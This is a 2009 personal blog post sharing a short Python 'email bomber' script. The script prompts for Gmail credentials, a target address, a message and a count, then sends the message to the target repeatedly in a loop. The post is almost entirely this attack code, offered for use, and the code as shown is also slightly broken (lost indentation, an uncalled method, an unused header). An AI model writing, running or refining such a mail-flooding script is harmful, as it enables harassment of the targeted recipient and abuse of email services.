Thursday, October 8, 2009

Python email bomber

Eclipse had helped me code this when I was first starting off with python so thanks:)

Coded in python :P
import smtplib

f = input ('Please enter the sender of the email: ')
s = "smtp.gmail.com"
t = input ('Please enter the target: ')
p = input ('Please enter your Gmail password: ')
n = int(input ('Enter a random number '))
m = input ('What would you like for the Emails to say? ')
d = 0

print ("Here is what you put in:")
print ('Sender = ', f)
print ('Taget = ', t)
print ('Pass = ', p)
print ('Random Number = ', n)
print ('The emails will say: ', m)
print ('Our SMTP server will be:', s)
print ('Starting now.....')

smtpserver = smtplib.SMTP("smtp.gmail.com",587)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(f, p)
header = ('To:' + t + '\n' + 'From: ' + f + '\n' + 'Subject:MyTest \n')

print (header)
msg = header + '\n Prelim testing \n\n'

while (d < n):
smtpserver.sendmail(f, t, m)


print ('Total sent: ', d)

d = d + 1

smtpserver.close()

No comments:

Post a Comment